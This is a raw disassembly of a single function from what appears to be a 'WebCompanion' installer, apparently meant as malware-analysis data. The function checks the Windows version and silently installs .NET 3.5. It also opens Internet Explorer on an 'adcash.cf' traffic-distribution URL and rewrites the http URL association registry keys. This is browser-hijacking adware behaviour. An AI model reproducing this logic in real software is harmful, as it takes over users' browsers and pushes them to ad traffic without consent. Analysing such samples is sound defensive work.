Function at 0x403b80
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433832
mov eax, dword fs:[0]
push eax
sub esp, 0x158
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push pe_nt_image_headers32
lea eax, [ebp - 0x138]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.0041bd40
add esp, 0xc
mov dword [ebp - 0x13c], 0x114
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403c27
cmp dword [ebp - 0x138], 5
je 0x403c27
cmp dword [esi + 0x44], 8
lea eax, [esi + 0x30]
mov esi, eax
jb 0x403bfc
mov esi, dword [eax]
cmp dword [eax + 0x10], 3
jne 0x403ea4
mov ecx, 0x443c88
mov edx, 3
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x403ea4
add ecx, 2
sub edx, 1
jne 0x403c12
cmp dword [ebp + 0x1c], 8
lea esi, [ebp + 8]
cmovae esi, dword [ebp + 8]
cmp dword [ebp + 0x18], 0xc
jne 0x403ea4
mov ecx, str.WebCompanion
mov edx, 0xc
sub esi, ecx
nop dword [eax + eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x403ea4
add ecx, 2
sub edx, 1
jne 0x403c50
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x148], esp
push 7
mov dword [ecx + 0x10], edx
mov dword [ecx + 0x14], 7
push str.Install
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
xor eax, eax
push 0x2f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v3.5
mov word [ecx], ax
call fcn.0040b840
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 0
call fcn.00410e20
add esp, 0x30
cmp eax, 1
je 0x403ea4
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x16
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.Start_install_.net_3.5
mov word [ecx], ax
call fcn.0040b840
call fcn.0040ff60
add esp, 0x18
lea ecx, [ebp - 0x164]
call fcn.0040f120
push str..exe
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0040b9a0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
movq qword [ebp - 0x18], xmm0
mov word [eax], cx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x150]
cmp edx, 8
jb 0x403d7c
mov ecx, dword [ebp - 0x164]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403d72
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042d0
push edx
push ecx
call fcn.00419f4a
add esp, 8
xor eax, eax
mov dword [ebp - 0x154], 0
sub esp, 0x18
mov word [ebp - 0x164], ax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x150], 7
mov ecx, esp
push eax
call fcn.0040b290
call fcn.0040ff60
lea eax, [ebp - 0x28]
mov dword [ebp - 0x144], esp
mov ecx, esp
push eax
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 5
mov ecx, esp
xor eax, eax
push 0x65
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http:__download.microsoft.com_download_0_6_1_061F001C_8752_4600_A198_53214C69B51F_dotnetfx35setup.exe
mov word [ecx], ax
call fcn.0040b840
mov byte [ebp - 4], 4
call fcn.00411cc0
add esp, 0x30
test al, al
je 0x403e66
sub esp, 0x18
mov ecx, esp
push str.net_downloaded
call fcn.0040b240
call fcn.0040ff60
mov ecx, esp
mov dword [ebp - 0x144], esp
push str._q__norestart__c:_install__q_
mov byte [ebp - 0x13d], 1
call fcn.0040b240
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.0040b290
mov cl, byte [ebp - 0x13d]
mov edx, 0x1b7740
mov byte [ebp - 4], 4
call fcn.00412600
add esp, 0x30
test eax, eax
je 0x403e66
sub esp, 0x18
mov ecx, esp
push str.net_installed
call fcn.0040b240
call fcn.0040ff60
add esp, 0x18
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x403ea4
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403e9a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042d5
push edx
push ecx
call fcn.00419f4a
add esp, 8
cmp dword [ebp + 0x1c], 8
lea esi, [ebp + 8]
cmovae esi, dword [ebp + 8]
cmp dword [ebp + 0x18], 0xc
jne 0x40427e
mov ecx, str.WebCompanion
mov edx, 0xc
sub esi, ecx
nop word [eax + eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x40427e
add ecx, 2
sub edx, 1
jne 0x403ed0
push str.adcash.cf
lea eax, [ebp - 0x28]
push str.http:___s_bb_tds.php
push eax
call fcn.0040fe00
push pe_nt_image_headers32
lea eax, [ebp - 0x138]
mov byte [ebp - 4], 7
push 0
push eax
call fcn.0041bd40
add esp, 0x18
mov dword [ebp - 0x13c], 0x114
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x404072
cmp dword [ebp - 0x138], 5
je 0x404072
call fcn.00403b00
sub esp, 0x18
test al, al
lea eax, [ebp - 0x28]
mov dword [ebp - 0x144], esp
mov ecx, esp
push eax
je 0x403f92
mov byte [ebp - 0x13d], 0
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0xe
mov ecx, esp
xor eax, eax
push 0x35
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.C:Program_Files__x86_Internet_Exploreriexplore.exe
mov word [ecx], ax
call fcn.0040b840
mov cl, byte [ebp - 0x13d]
jmp 0x403fcc
mov byte [ebp - 0x13d], 0
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0xf
mov ecx, esp
xor eax, eax
push 0x2f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.C:Program_FilesInternet_Exploreriexplore.exe
mov word [ecx], ax
call fcn.0040b840
mov cl, byte [ebp - 0x13d]
or edx, 0xffffffff
mov byte [ebp - 4], 7
call fcn.00412600
add esp, 0x30
mov byte [ebp - 0x13d], 0
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x144], esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.IE.HTTP
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x10
mov ecx, esp
mov dword [ebp - 0x148], esp
xor eax, eax
push 6
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.ProgId
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
xor eax, eax
push 0x4d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwareMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice
mov word [ecx], ax
call fcn.0040b840
mov dl, byte [ebp - 0x13d]
mov ecx, SysReAllocStringLen
jmp 0x40423c
call fcn.00403b00
sub esp, 0x18
test al, al
lea eax, [ebp - 0x28]
mov dword [ebp - 0x14c], esp
mov ecx, esp
push eax
je 0x404165
mov byte [ebp - 0x13d], 0
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 8
mov ecx, esp
xor eax, eax
push 0x35
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.C:Program_Files__x86_Internet_Exploreriexplore.exe
mov word [ecx], ax
call fcn.0040b840
mov cl, byte [ebp - 0x13d]
or edx, 0xffffffff
mov byte [ebp - 4], 7
call fcn.00412600
add esp, 0x18
mov byte [ebp - 0x13d], 0
mov ecx, esp
mov dword [ebp - 0x14c], esp
xor eax, eax
push 0x3f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._C:Program_FilesInternet_Explorer__x86_IEXPLORE.EXE___nohome
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0x144], esp
xor eax, eax
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xa
mov ecx, esp
xor eax, eax
push 0x17
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http_shellopencommand
mov word [ecx], ax
call fcn.0040b840
mov dl, byte [ebp - 0x13d]
jmp 0x404237
mov byte [ebp - 0x13d], 0
call fcn.0040b290
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
xor eax, eax
push 0x2f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.C:Program_FilesInternet_Exploreriexplore.exe
mov word [ecx], ax
call fcn.0040b840
mov cl, byte [ebp - 0x13d]
or edx, 0xffffffff
mov byte [ebp - 4], 7
call fcn.00412600
add esp, 0x18
mov byte [ebp - 0x13d], 0
mov ecx, esp
mov dword [ebp - 0x14c], esp
xor eax, eax
push 0x39
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str._C:Program_FilesInternet_ExplorerIEXPLORE.EXE___nohome
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x144], esp
xor eax, eax
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x44263c
mov word [ecx], ax
call fcn.0040b840
sub esp, 0x18
mov byte [ebp - 4], 0xd
mov ecx, esp
xor eax, eax
push 0x17
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.http_shellopencommand
mov word [ecx], ax
call fcn.0040b840
mov dl, byte [ebp - 0x13d]
mov ecx, SysReAllocStringLen
mov byte [ebp - 4], 7
call fcn.00412420
mov edx, dword [ebp - 0x14]
add esp, 0x48
cmp edx, 8
jb 0x40427e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404274
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042da
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x4042b4
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4042aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4042df
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
ret 0x18
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3